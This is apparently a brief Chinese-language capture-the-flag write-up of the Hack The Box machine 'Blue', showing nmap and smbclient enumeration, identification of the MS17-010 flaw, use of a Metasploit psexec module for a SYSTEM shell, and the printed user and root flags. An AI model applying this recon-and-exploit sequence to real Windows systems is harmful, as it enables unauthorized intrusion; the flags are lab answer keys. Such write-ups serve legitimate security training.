Blue(完成)

```
└──# nmap -sCV 10.10.10.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 05:18 PDT
Nmap scan report for 10.10.10.40
Host is up (0.28s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds
(workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -19m56s, deviation: 34m35s, median: 0s
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-04-03T13:26:21+01:00
| smb2-time:
|   date: 2024-04-03T12:26:20
|_  start_date: 2024-04-03T12:13:13
```

```
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 482.19 seconds
```

```
└─# smbclient -L 10.10.10.3
do_connect: Connection to 10.10.10.3 failed (Error NT_STATUS_IO_TIMEOUT)

┌──(root㉿kali)-[~/tool/Churrasco]
└─# smbclient -L 10.10.10.40
Password for [WORKGROUP\root]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Share           Disk
        Users           Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.40 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

┌──(root㉿kali)-[~/tool/Churrasco]
└─# smbclient //10.10.10.40/Users
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   DR        0  Thu Jul 20 23:56:23 2017
  ..                                  DR        0  Thu Jul 20 23:56:23 2017
  Default                           DHR        0  Tue Jul 14 00:07:31 2009
  desktop.ini                       AHS      174  Mon Jul 13 21:54:24 2009
  Public                              DR        0  Tue Apr 12 00:51:29 2011
```

找不到任何訊息

Windows 7 Professional 7601有漏洞(MS17-010)

```
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pa
(Windows 7 Professional 6.1)
```

https://www.exploit-db.com/exploits/42315

使用msfconsole->windows/smb/ms17_010_psexec反彈

```
C:\Windows\system32>whoami
whoami
nt authority\system
```

user flag

```
C:\Users\haris\Desktop>type user.txt
type user.txt
f4c0080524f8c6d278d476d38d2ef5c6
```

root flag

```
C:\Users\Administrator\Desktop>type root.txt
type root.txt
ee8115a7ee7cf71b937ae06e003d4037
```